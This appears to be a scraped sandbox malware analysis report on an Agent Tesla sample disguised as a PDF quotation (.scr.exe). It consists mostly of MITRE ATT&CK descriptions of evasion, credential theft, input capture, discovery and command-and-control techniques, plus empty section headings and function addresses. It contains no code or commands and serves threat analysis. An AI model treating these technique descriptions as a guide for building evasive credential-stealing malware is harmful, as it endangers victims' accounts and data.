Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QUOTATION_APRQTRA031244#U00faPDF.scr.exe.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
QUOTATION_APRQTRA031244#U00faPDF.scr.exe

Function 072007B0 Relevance: 3.1, Strings: 2, Instructions: 639
COMMON

Function 07480196 Relevance: 2.7, Strings: 2, Instructions: 238
COMMON

Function 0720CDB8 Relevance: 2.1, Strings: 1, Instructions: 804
COMMON

Function 07202B48 Relevance: 4.2, Strings: 3, Instructions: 479
COMMON

Function 07204800 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Function 072091E0 Relevance: 4.1, Strings: 3, Instructions: 360
COMMON

Function 07201218 Relevance: 4.0, Strings: 3, Instructions: 200
COMMON

Function 00F75160 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Function 07201030 Relevance: 2.7, Strings: 2, Instructions: 187
COMMON

Function 0720B438 Relevance: 2.7, Strings: 2, Instructions: 154
COMMON

Function 05C038E4 Relevance: 2.6, Strings: 2, Instructions: 116
COMMON

Function 05C0345C Relevance: 2.6, Strings: 2, Instructions: 111
COMMON

Function 072056E0 Relevance: 1.9, Strings: 1, Instructions: 677
COMMON

Function 07200040 Relevance: 1.8, Strings: 1, Instructions: 531
COMMON

Function 0748391C Relevance: 1.7, APIs: 1, Instructions: 205
processCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre